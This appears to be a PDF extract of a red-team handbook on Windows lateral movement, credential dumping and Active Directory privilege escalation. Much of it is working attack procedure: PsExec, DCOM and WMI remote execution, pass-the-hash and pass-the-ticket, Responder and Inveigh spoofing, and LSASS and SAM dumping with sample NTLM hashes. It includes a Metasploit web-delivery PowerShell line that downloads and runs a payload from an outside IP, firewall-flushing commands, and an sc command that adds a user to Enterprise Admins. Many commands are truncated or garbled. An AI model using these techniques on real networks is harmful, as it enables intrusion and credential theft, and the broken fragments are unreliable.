Jonathan has already written awesome detailed blog Puff Puff PSExec Working of MSF PSExec has been taken from
his blog directly.
While similar in functionality to Sysinternal’s PsExec, the Metasploit Framework’s PSExec Module has a few key
differences and at a high-level performs the following actions. By default, the module takes the following actions:
• Creates a randomly-named service executable with an embedded payload
• Connects to the hidden ADMIN$ share on the remote system via SMB
• Drops malicious service executable onto the share
• Utilizes the SCM to start a randomly-named service
• Service loads the malicious code into memory and executes it
• Metasploit payload handler receives payload and establishes session
• Module cleans up after itself, stopping the service and deleting the executable
There is more flexibility with the Metasploit’s PSExec in comparison to Microsoft’s tool. For instance, the default
location of the malicious service executable can be modified from the hidden ADMIN$ to C$ or even another shared
folder on the target machine. Names of the service executable and associated service can also be changed under the
module’s Advanced settings.
However, the most important modification that a penetration tester can make is creating and linking to a custom
service executable instead of relying on the executable templates provided by the Metasploit Framework. Failure to
do so greatly increases the risk of detection by the target system’s anti-virus solution once the executable is dropped
to disk.
• Connect to ADMIN$ share on target machine over SMB and run the one-liner
• Embedded script is passed into memory via PowerShell’s Invoke-Expression (IEX)
• Script creates a new service and passes stager payload into it
• Metasploit payload handler receives payload and establishes session
• Module cleans up after itself by tearing down the service
Sysinternals psexec
Microsoft Sysinternal tool psexec can be downloaded from PsExec. Mark has written a good article on how psexec
works is PsExec Working.
The below details are taken from Jonathan blog on Puff Puff PSExec
At a high-level, the PsExec program works as follows:
• Connects to the hidden ADMIN$ share (mapping to the C:Windows folder) on the remote system via SMB
• Utilizes the Service Control Manager (SCM) to start the PsExecsvc service and enable a named pipe on the
remote system
• Input/output redirection of the console is achieved via the created named pipe
Sysinternal PSExec is a tool built to assist system administrators. In order to use PsExec with captured hashes, we
would require Windows Credential Editor (WCE). This would require us to drop another executable to disk and risk
detection. Fuzzynop has provided a tutorial Pass the Hash without Metasploit
• Change the current NTLM credentials
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
Example:
C:\Users\test>wce.exe -s
˓→testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
C:\Users\test>
If you omit a user name, the process will run in the context of your account on the remote system, but
will not have access to network resources (because it is impersonating). Specify a valid user name in the
DomainUser syntax if the remote process requires access to network resources or to run in a different
account. Since, we are omitting the username, it would run in the context of the current username ( The
one we have changed with the help of WCE )
Task Scheduler
If you are the administrator of the remote machine and using runas /netonly, we can utilize AT to run commands
remotely. Using AT, a command to be run at designated time(s) as SYSTEM.
Examples
However, sometimes doing it remotely, we need to figure out the time of the remote computer, we can utilize NET
TIME
NET TIME \\REMOTECOMPUTERNAME
Scheduled Tasks
Schtasks Schedules commands and programs to run periodically or at a specific time. Adds and removes tasks from
the schedule, starts and stops tasks on demand, and displays and changes scheduled tasks. Schtasks replaces At.exe, a
tool included in previous versions of Windows. Although At.exe is still included in the Windows Server 2003 family,
schtasks is the recommended command-line task scheduling tool.
schtasks /create /sc <ScheduleType> /tn <TaskName> /tr <TaskRun> [/s <Computer> [/u [
˓→<Domain>\]<User> [/p <Password>]]] [/ru {[<Domain>\]<User> | System}] [/rp
˓→i <IdleTime>] [/st <StartTime>] [/ri <Interval>] [{/et <EndTime> | /du <Duration>}
˓→file, or batch file. If you omit the path, schtasks assumes that the file is in the
˓→SystemRoot\System32 directory.
˓→local computer.
˓→parameter or the password argument, schtasks prompts you for a password and
/ru {[<Domain>\]<User> | System} : Runs the task with permissions of the specified
˓→user account. By default, the task runs with the permissions of the current user of
˓→the local computer, or with the permission of the user specified by the /u
˓→parameter, if one is included. The /ru parameter is valid when scheduling tasks on
/rp <Password> : Provides the password for the user account that is
˓→specified in the /ru parameter. If you omit this parameter when specifying a user
˓→account, SchTasks.exe prompts you for the password and obscures the text you type.
˓→Do not use the /rp parameter for tasks run with System account credentials (/ru
˓→System). The System account does not have a password and SchTasks.exe does not
Examples
Communicates with the Service Controller and installed services. SC.exe retrieves and sets control information about
services. Armitage Hacker has mentioned this at his blog Lateral Movement with High Latency
The sc command requires an executable that responds to Service Control Manager commands. If you do not provide
such an executable, your program will run, and then immediately exit.
Remote Registry
A command to be run or DLL to be loaded when specific events occur, such as boot or login or process execution, as
active user or SYSTEM.
Examples
Add an entry
We can copy a launcher.bat file with powershell empire and drop it Startup folder, so that it executes every time a user
logs in as a user.
Example
WinRM
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows ma-
chines over HTTP(S) using SOAP. On the backend it’s utilizing WMI, it can be thought of as an HTTP based API for
WMI. WinRM will listen on one of two ports: 5985/tcp (HTTP) and 5986/tcp (HTTPS)
If one of these ports is open, WinRM is configured and you can try entering a remote session.
Enabling PS-Remoting
Configure the remote machine to work with WinRM. We need to run the below command from elevated powershell
prompt
PS C:\Windows\system32> Enable-PSRemoting -Force
WinRM already is set up to receive requests on this machine.
WinRM has been updated for remote management.
Created a WinRM listener on HTTP://* to accept WS-Man requests to any IP on this
˓→machine.
We can use the Test-WSMan function to check if target is configured for WinRM. It should return information returned
about the protocol version and wsmid
PS C:\> Test-WSMan XXXX-APPS03.example.com
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 2.0
PowerShell Invoke-Command
Windows IP Configuration
The above commands are executed using runas /netonly if you want to run it with the credentials we can use
Also, if you want to disable the psremoting/ WinRM, you can utilize Disable-PSRemoting . However, if you get
PS C:\Windows\system32> Disable-PSRemoting
WARNING: Disabling the session configurations does not undo all the changes made by
˓→the Enable-PSRemoting or
WMI
As per the TechNet article Windows Management Instrumentation (WMI) is the infrastructure for management data
and operations on Windows-based operating systems. You can write WMI scripts or applications to automate admin-
istrative tasks on remote computers.
WMI Process Create: The Win32_Process class can be called via WMI to query, modify, terminate, and create running
processes.
The command returns the ProcessID and the ReturnValue (0 abcning no errors)
We can use runas command to authenticate as a different user and then execute commands using wmic or use
instead of computername, we can specify textfile containing computernames and specify using wmic /node:@textfile
Refer Rop-Nop blog Part3: Wmi and winrm
DCOM
The below is as per my understanding (I might be wrong), if so, please do correct me. After reading Lateral Movement
Using the MMC20.Application COM Object and Lateral Movement Via DCOM Round 2 I believe there are three ways
to do lateral movement by using DCOM
This COM object allows you to script components of MMC snap-in operations. there is a method named “Exe-
cuteShellCommand” under Document.ActiveView.
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",
˓→$null,$null,7)
For Empire
$com.Document.ActiveView.ExecuteShellCommand(
˓→"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc
Tanoy has written a simple wrapper/ function Invoke-MMC20RCE.ps1 which might be useful.
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"IPAddress")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",
˓→$null,0)
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"IPAddress")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
^ The above should run a calc
All the above three method, assumes that either you are running the commands as administrator of the remote machine.
And you have achieved it either by using runas /netonly or logging in as that user.
While executing the above if you get the below error, it means, we do not have access to execute object remotely which
results in “Access Denied”:
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"IPAddress")
$obj = [System.Activator]::CreateInstance($com)
Exception calling "CreateInstance" with "1" arguement(s) "Retrieving the COM class
˓→factory for remote component with CLSID {} from machine IPAddress failed due to the
At line:1 char:1
+ $obj = [System.Activator]::CreateInstance($com)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+CategoryInfo : NotSpecified: (:), MethodInvocationException
+FullyQualifiedErrorID : UnauthorizedAccessException
Microsoft Advanced Threat Analytics Attack Simulation Playbook has provided examples for Mimikatz PTH, PTT.
If we do not have plaintext credentials, we can use NTLM hashes to get a shell
Using a technique called Overpass-the-Hash we can take the NTLM hash and use it to obtain a Ticket Granting Ticket
(TGT) via Kerberos\ Active Directory. With a TGT you can masquerade as the administrative user and access any
domain resource that admin user has access to.
A new command prompt session opens. This new command prompt injected Admin user credentials into it!
This can be verified by checking
dir \\remote-machine\c$
• Inspect tickets in Overpass-the-hash command prompt: From the new command prompt that opened from the
Overpass-the-hash attack, execute the following:
klist
Let’s assume, we got credentials of Local Admin A, by which we can login in to the machine on which Domain Admin
is logged on. We would utilize pass the ticket for this
• Harvest Credentials
• Execute Mimikatz against Admin-PC ( on which domain admin is logged on )
From the new command prompt, running in the context of admin user, go to the part of the filesystem
where Mimikatz is located from that library. Run the following commands:
Next, execute MimiKatz remotely to export all Kerberos tickets from Admin-PC:
We successfully executed Mimikatz remotely, exporting all Kerberos tickets from Admin-PC. We copied
back the results to Victim-PC, and now has one of the Domain Admin credentials without having to
exploit his computer!
• Locate the Domain Admin user TGT
Locate the kirbi files which are not Domain Admin user (i.e. “ADMIN-PC$”). Delete those and keep the
Domain Admin user tickets.
• Pass-the-Ticket
We can pass the Domain Admin User tickets, literally, into memory and use them to gain access to
resources as if you were Domain Admin. The attacker is ready to import them into Victim-PC’s memory,
to get the credentials to access sensitive resources.
From an elevated command prompt, where Mimikatz is located on the filesystem, execute the following:
Ensure that the DomainAdminUser@krbtgt-Domainname tickets were successfully imported. Now, let’s
validate that the right tickets are in the command prompt session.
• Validate the ticket was imported
Execute the following in the same elevated command prompt:
klist
The attacker now successfully imported the harvested ticket into the session, and will now leverage their
new privilege and access to access the domain controller’s C drive
• Access contents of dc1c$ with DomainAdminUser credential
Execute the following in the same command prompt to which the tickets were just imported.
dir \\dc1\c$
The attacker is now, for all intents and purposes, DomainAdminUser, in the digital world. Only ad-
ministrators should be able to access the root of the domain controller. The attacker is using legitimate
credentials, can access legitimate resources and executing legitimate executables.
rdesktop
rdesktop IPAddress
rdesktop -g 90%
rdesktop -f : for Full screen. Fullscreen mode can be toggled at any time using Ctrl-
˓→Alt-Enter.
Todo: —-dsquery !! SubMSI ? MSUtil to use RCE? —-Any commands if net, or powershell is blocked? or PV/ BH
is caught?
Windows
Directory: \\DC.xxxxxxxx.net\C$\Users
-------------------------------------------------------------------------------
OK \\DC.xxxxxxxx.net\IPC$ Microsoft Windows Network
The command completed successfully.
However, if administrator on DC.xxxxx.net runs a net session command, the connections would be detected. For that
issue
//IPAddress/C$
Linux
-L|--list This option allows you to look at what services are available on a server.
˓→You use it as smbclient -L host and a list should appear. The -I option may be
˓→useful if your NetBIOS names don't match your TCP/IP DNS host names or if you are
smb: \> ls
smb: \> ls
$Recycle.Bin DHS 0 Wed Nov 30 20:00:40 2016
.rnd A 1024 Mon Jul 27 13:51:24 2015
Boot DHS 0 Mon Jul 27 14:16:53 2015
bootmgr AHSR 333257 Sat Apr 11 21:42:12 2009
BOOTSECT.BAK ASR 8192 Wed Jul 21 09:01:52 2010
Certificate D 0 Sun Jun 23 17:20:48 2013
Config.Msi DHS 0 Thu Feb 16 01:49:59 2017
cpqsprt.trace A 8004 Wed Jul 21 08:59:57 2010
cpqsystem D 0 Wed Jul 21 08:32:58 2010
csv.err A 90 Sun May 20 15:35:38 2012
csv.log A 278 Sun May 20 15:35:38 2012
Documents and Settings DHS 0 Sat Jan 19 19:53:20 2008
Program Files DR 0 Thu Sep 8 16:24:36 2016
Program Files (x86) DR 0 Tue Nov 22 21:28:01 2016
ProgramData DH 0 Thu Feb 9 16:51:52 2017
Rename.bat A 1406 Wed Oct 26 15:11:19 2011
System Volume Information DHS 0 Thu Feb 16 01:49:56 2017
temp D 0 Fri Aug 9 17:16:55 2013
Users DR 0 Wed Nov 30 20:00:08 2016
Windows D 0 Wed Feb 15 23:18:12 2017
smbclient '\\server\share'
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
• RastaMouse talks about his experiences in a blog on PSExec Much? Here he starts with a domain user and make
his way to Domain Administrator account utilizing Powerview/ Invoke-LoginPrompt.
• Sean Metcalf has written a awesome blog on Attack Methods for Gaining Domain Admin Rights in Active
Directory
• Fuzzy Security has written a amazing blog showing the journey of Local Administrator to a Domain User to
Domain Administrator in his blog Windows Domains, Pivot & Profit
• Nikhil SamratAshok Mittal has written a blog on Getting Domain Admin with Kerberos Unconstrained Dele-
gation Sean Metcalf has written Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or
How Compromise of a Single Server Can Compromise the Domain)
Others
• Identify High Risk Windows Assets : Scott Sutherland writes a powershell way and A Faster Way to Identify
High Risk Windows Assets Active Directory stores the operating system version and service pack level for
every Windows system associated with the domain. The information can be used during penetration tests to
target systems missing patches like MS08-67, or identification of high risk assets.
• Windows Exploit Suggestor tool compares a targets patch levels against the Microsoft vulnerability database in
order to detect potential missing patches on the target. It also notifies the user if there are public exploits and
Metasploit modules available for the missing bulletins.
SMBRelay
• Scott Sutherland has written Executing SMB Relay Attacks via SQL Server using Metasploit
• To lure the victim, so that they give their hashes for cracking/ relaying Karl Fosaaen has written a blog on 10
Places to Stick Your UNC Path
• By default PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems which
can be a hurdle for penetration testers, sysadmins, and developers. Scott Sutherland has written 15 Ways to
Bypass the PowerShell Execution Policy
From the previous post, we learned how to have authenticated remote shell in windows, in this post, we will have a look
around of how to Gather-Windows-Credentials after getting a remote shell. We would also have a look how to have
a High Impact Exploitation which leaves an impact to the higher management for the organization. In Appendix-I :
Windows Credentials, We have explained the concepts about authentication, credentials and authenticators, credential
storage, authentication protocols, logon types. In Appendix-II Cracking Hashes, we talk about cracking windows
active directory LM:NT hashes. In Appendix-III Interesting Stories contains blog links which might be helpful doing
post-exploitation.
The way we will retrieve info about the coputer we hacked and the network we are in depends on what exploit we used
to get in. There are plenty of ways to do so, I will explain the most common used ones.
We could have used a basic netcat shell. In that case we have two options, use system builtin utilities, or use
post/multi/manage/shell_to_meterpreter.
Note: For builtin, report the the basics knowledge of the system targeted.
Tip: Sysinternals from live.sysinternals.com are Microsoft signed if not already installed !
If you are like me, you cannot remember everything. An handy tool that may help you is having this book RedTeam-
FieldManual and the RTFM.py tool.
It is available at : https://github.com/leostat/rtfm
Just download the repo and run to initialize the DB :
rtfm.py -u
Usage :
$ python rtfm.py -h
Usage: rtfm.py [OPTIONS]
For when you just cant remember the syntax, you should just RTFM
Options:
--version show program's version number and exit
-h, --help show this help message and exit
--delete=DELETE Delete specified ID
-e SA, --everything=SA
Look through all of RTFM
-t TAG, --tag=TAG Specify one or more tags to look for (a, b, c)
-c CMD, --cmd=CMD Specify a command to search (ls)
-R REMARK, --remark=REMARK
Search the comments field
-r REFER, --reference=REFER
(continues on next page)
Example :
++++++++++++++++++++++++++++++
Command ID : 271
Command : rdpy-rdpscreenshot.py 1.1.1.1
..sip...
Meterpreter
If we were lucky enough to get a meterpreter shell, we can just launch the meterpreter commands. For more precise
Info take a lok at the dedicated part to Metasploit.
Process Commands
Network Commands
Misc commands
• idletime : Displays the duration time that the GUI of the target machine has been idle.
• uictl [enable/disable][keyboard/mouse] : Enable/disable either the mouse or the keyboard of the target machine.
Additional modules
• use [moduleName] : loads the specified module. * Like priv hashdump timestomp
Empire
In DomainJoined computer
Make usage of Service Principal Names (SPN). It is a feature, and builtin in any windows computer.
$ setspn
Paramètre absent : nomdecompte.
Common usage
PowerSploit
https://github.com/PowerShellMafia/PowerSploit
PowerView is builtin in Empire and we can run it in meterpreter with the help of the right module “search Interac-
tive_Powershel”.
:: Get-Command -Module PowerSploit
Get-Help Invoke-Netview -full
Example
˓→ascii netview.txt“
There are different ways on doing it. You should search for your specific platform and software. Common Ones.
On CentOS
Must be root
# /etc/init.d/iptables save
# /etc/init.d/iptables stop
For on boot
# chkconfig iptables on
Debian based
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
You could want to save it first to put back the normal config when you’re done :
Once we have administrative remote shell, our next task is to gather all the passwords from Security Accounts Manager
(SAM) database, Local Security Authority Subsystem (LSASS) process memory. Domain Active Directory Database
(domain controllers only), Credential Manager (CredMan) store or LSA Secrets in the registry and get all the pass-
words (clear-text or hashed). A lot of stuff has already been mentioned at Obtaining Windows Passwords and Dumping
Windows Credential and Bernardo Blog Dump Windows password hashes efficiently Part1 , Part2, Part3, Part4, Part5
and Part6.
We have tried to combine all the methods in one post. (A lot of stuff has also been not mentioned such fgdump,
pwdump etc.). For all methods, check Credential Dumping on ATT&CK.
So, back to credential dumping after getting a remote shell, there are multiple methods to do the following:
• Execute responder or/and Inveigh
• Get metasploit meterpreter by using Web Delivery method and run mimikatz
• Get powershell empire agent by using powershell launcher string and run mimikatz
• Execute Windows Credential Editor (WCE)
• Dumping Local Security Authority Subsystem Service
• Dumping Registry Hives
• Dumping System/ Security/ SAM File
• Virtual Machine Snapshots and Suspended States - Vmss2core
Inveigh
Inveigh is a PowerShell LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.
Install :
Or
Import-Module ./Inveigh.psd1
Tip: If a local firewall is enabled, ensure that the targets are able to communicate with the Inveigh host on the
relevant ports. If you copy/paste challenge/response captures from the console window for password cracking, ensure
that carriage returns are removed.
Commands :
Enable real time console output
Invoke-Inveigh -ConsoleOutput Y
Invoke-Inveigh -FileOutput Y
Invoke-Inveigh -Proxy Y
Stop-Inveigh
Get-Inveigh
Get-Inveigh -NTLMv2
Before performing LLMNR/mDNS/NBNS spoofing, start Inveigh in inspection only mode to gather information about
the relevant systems and traffic on the subnet. This information can be used to later target specific systems or spoof
specific hostnames in order to avoid impacting unnecessary systems. Conversely, this information can be used to filter
out dangerous hostnames to spoof and systems that may be running spoofer detection services.
For targeted and more stealthy attack we should use those parameters :
• SpooferHostsIgnore
• SpooferHostReply
• SpooferIPsIgnore
• SpooferIPsReply
• SpooferRepeat
• SpooferLearning
• SpooferLearningDelay
• SpooferLearningInterval
• HTTPAuth
• ProxyAuth
• ProxyIgnore
• WPADAuth
• WPADAuthIgnore
Example
Note: For In Depth learnig always ahve a look at all the docs. For Inveigh : https://github.com/Kevin-Robertson/
Inveigh/wiki
Responder.py
First of all, please take a look at Responder.conf and tweak it for your needs.
./Responder.py -h
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose Increase verbosity.
Typical usage :
If we don’t have a compromised system yet, but we did gain credentials through Responder, misconfigured web app, bruteforcin
like CrackMapExec (cme) can assist in finding that initial point of entry on the internal network.
Historically, we have used CME to scan the network, identify/authenticate via SMB on the network, execute
commands remotely to many hosts, and even pull clear text creds via Mimikatz. With newer features in both
Empire and CME, we can take advantage of Empire’s REST feature. In the following scenario, we are going
to spin up Empire with its REST API, configure the password in CME, have CME connect to Empire, scan the
network with the single credential we have, and finally, if we do authenticate, automatically push an Empire
payload to the remote victim’s system. If you have a helpdesk or privileged account, get ready for a load of
Empire shells!
Start Empire’s REST API server
cd /opt/Empire
./empire --rest --password 'hacktheuniverse'
::
gedit /root/.cme/cme.conf
password=hacktheuniverse
::
Metasploit Web Delivery : Metasploit’s Web Delivery Script is a versatile module that creates a server on the attacking
machine which hosts a payload. When the victim connects to the attacking server, the payload will be executed on the
victim machine. This module has a powershell method which generates a string which is needed to be executed on
remote windows machine.
Exploit targets:
Id Name
-- ----
0 Python
1 PHP
2 PSH
˓→CredentialCache]::DefaultCredentials;IEX $X.downloadstring('http://14.97.131.
˓→138:8080/uMOKs6wtlYL');
˓→CredentialCache]::DefaultCredentials;IEX $X.downloadstring('http://14.97.131.
˓→138:8080/uMOKs6wtlYL');
Once we have got the meterpreter, we can use mimikatz or kiwi to dump all the credentials.
Powershell Empire agent : Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure com-
munications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing
powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable
communications to evade network detection, all wrapped up in a usability-focused framework.
After creating a listener, we just need to create a launcher using stager:
When the above command is executed on the windows remote shell, we should be able to get a powershell agent
(Empire) > [+] Initial agent 2FTFYMKDFSSFS from 192.168.42.5 now active
Sometimes the above two will fail to work, in which case, we revert to the old techniques:
Procdump
This method has been mentioned Grabbing Passwords from Memory using Procdump and Mimikatz , How Attackers
Extract Credentials (Hashes) From LSASS , Mimikatz Minidump and mimikatz via bat file , Extracting Clear Text
Passwords Using Procdump and Mimikatz and I’ll Get Your Credentials . . . Later!
• First, upload the ProcDump.exe to the remote computer by using smb, windows explorer.
• Second, from the remote shell, execute
Powershell Out-MiniDump
This method is similar to the procdump using powershell. Instead of procdump, we utilize powershell Out-
MiniDump.ps1 from PowerSploit
• Launch PowerShell and dot source function from the Out-Minidump.ps1
. c:\path\to\Out-Minidump.ps1
Get a copy of the SYSTEM, SECURITY and SAM hives and download them back to your local system:
Get the password hashes of the local accounts, the cached domain credentials and the LSA secrets in a single run with
Impacket secretsdump.py
Windows Credentials Editor (WCE) is a security tool that allows to list Windows logon sessions and add, change, list
and delete associated credentials (e.g.: LM/NT hashes, Kerberos tickets and cleartext passwords).
The tool allows users to:
By default, WCE lists NTLM credentials in memory, no need to specify any options.
C:\Users\test>wce.exe
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan
˓→Ochoa ([email protected])
theuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
Create a new logon session and launch a program with new NTLM credentials?
Example:
C:\Users\test>wce.exe -s
˓→testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
˓→-c cmd.exe
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan
˓→Ochoa ([email protected])
At this point, a new cmd.exe instance will be launched and network connections using NTLM initiated from that
instance will use the NTLM credentials specified.
C:\>wce -o output.txt
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan
˓→Ochoa ([email protected])
C:\>type output.txt
test:AMPLIALABS:01020304050607080900010203040506:98971234567865019812734576890102
The -w switch can be used to dump logon passwords stored in cleartext by the Windows Digest Authentication pack-
age. For example:
C:\>wce -w
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by
˓→Hernan Ochoa (hernan@ampliasecurity com)
test\MYDOMAIN:mypass1234
NETWORK SERVICE\WORKGROUP:test
This video shows the use of the -w switch in a Windows 2008 Server
Useful Information
• Cachedump obtains NTLM credentials from the Windows Credentials Cache (aka logon cache, logon informa-
tion cache, etc). This cache can be disabled and it is very often disabled by network/domain/windows adminis-
trators (see here ). WCE will be able to steal credentials even when this cache is disabled.
• WCE obtains NTLM credentials from memory, which are used by the system to perform SSO; it uses a series
of techniques the author of WCE developed.
• Pwdump dumps NTLM credentials from the local SAM. Let’s say, a administrator remote desktop to a server
(compromised by attacker and can run wce). In this case, WCE would be able get the credential of Administrator
( who RDP’d ), However, pwdump will only allow you to obtain the NTLM credentials of the local SAM
The above information has been taken from WCE FAQ
During penetration assessment, we do find VMDK file (Virtual Machine Disk), we should be able to mound vmdk file
either by using Windows Explorer, VMWare Workstation or OSFMount. After mounting, we should be able to copy
System32/config/SYSTEM
System32/config/SECURITY
creddump7
Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
# ./cachedump.py
usage: ./cachedump.py <system hive> <security hive> <Vista/7>
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the ‘mscash2’ format:
g0d (god)
Welcome1! (nharpsis)
# We are working with a suspended state so we need to combine *.vmss and *.vmem. If
˓→we were
vmss2core version 3157536 Copyright (C) 1998-2013 VMware, Inc. All rights reserved.
Win32: found DDB at PA 0x2930c28
Win32: MmPfnDatabase=0x82970700
Win32: PsLoadedModuleList=0x82950850
Win32: PsActiveProcessHead=0x82948f18
Win32: KiBugcheckData=0x82968a40
Win32: KernBase=0x82806000
Win32: NtBuildLab=0x82850fa8
Win: ntBuildLab=7601.17514.x86fre.win7sp1_rtm.101119-1850 # Win7 SP1 x86
CoreDumpScanWin32: MinorVersion set to 7601
... 10 MBs written.
... 20 MBs written.
... 30 MBs written.
... 40 MBs written.
... 50 MBs written.
[...Snip...]
After transferring the coredump back out we can let volatility do it’s magic. We need to determine which OS the dump
comes from for volatility to parse it correctly.
Using the “hivelist” plugin we can now get the memory offsets for the various registry hives.
All that remains now is to dump the hashes. To do this we need to pass volatility’s “hashdump” module the virtual
memory offsets to the SYSTEM and SAM hives, which we have.
sys-offset=0x87a1c008 sam-offset=0x88164518
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e:::
These Virtual Machine coredumps can be very large (1 GB+). If transferring them over the network is not an option
you can always drop a copy of volatility on the target machine. Starting from version 2.4, volatility has binary packages
sys-offset=0x87a1c008 sam-offset=0x88164518
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e:::
NonAdmin
mimikittenz
https://github.com/putterpanda/mimikittenz
WebCredentials
https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
WinCreds
https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1
BroserCookies
https://github.com/sekirkity/BrowserGather
SessionGopher
https://github.com/fireeye/SessionGopher
Admins
mimikatz
https://github.com/gentilkiwi/mimikatz
To make it work on windows 10 we need to change one registry value :
rundll32.exe user32.dll,LockWorkStation
Generally when we talk about elevation using Built-In groups, it is considered to be a Local administrator to a higher
priviledge user.
As mentioned in a ADSecurity Blog there are a few built-in groups with the ability to logon to Domain Controllers by
default:
• Enterprise Admins (member of the domain Administrators group in every domain in the forest)
• Domain Admins (member of the domain Administrators group)
• Administrators
• Backup Operators
• Server Operators
• Account Operators
• Print Operators (Currently has no obvious methods of elevating privileges)
During a penetration testing engagement, this is probably the least used but one of the most effective ways of compro-
mising the domain administrator. This has been shared by Jason Filley in his blog Active Directory Built-In Groups
Self-Elevation
If you have local administrator access to the domain controller, however do not have domain administrative access,
the elevation is pretty simple. We need to only add the user we are utilizing into the domain admins group, utilizing a
privileged command prompt and we are done.
Below are interesting cases on how one could utilize other Built-In Administrators to elevate to Enterprise Admin/
Domain Admin/ Built-In Administrator
Server Operators can modify the properties of certain services. The Computer Browser (“browser”) service is disabled
by default and can easily be changed to run a command as System, which on DC’s has permissions to modify the
built-in administrative groups.
D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;
˓→CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCSWRPWPDTLOCRRC;;;SY)S:(AU;FA;
˓→CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Here we see that Server Operators (“SO”) can write all properties (“WP”) for the browser service. Change the browser
service properties to call “net group” instead.
C:>sc config browser binpath= “C:WindowsSystem32cmd.exe /c net group “Enterprise Admins” %user-
name% /DOMAIN /ADD” type= “share” group= “” depend= “” [SC] ChangeServiceConfig SUCCESS
C:>sc start browser [SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Success: user added to “Enterprise Admins”
Account Operators have no permissions to modify the EA/DA/BA groups. However, if someone has been reckless
enough to nest a group in a privileged group, Account Operators can still modify the nested group (by default).
Suppose someone added the “NestedGroup” group as a member of the BA group:
Succeeds. The user is now a member of “NestedGroup” and by inclusion a member of BA.
The sole purpose of the BO group is to back up and restore domain controllers (or any part thereof), so that’s what
we’ll do.
Get the SID of the target user account:
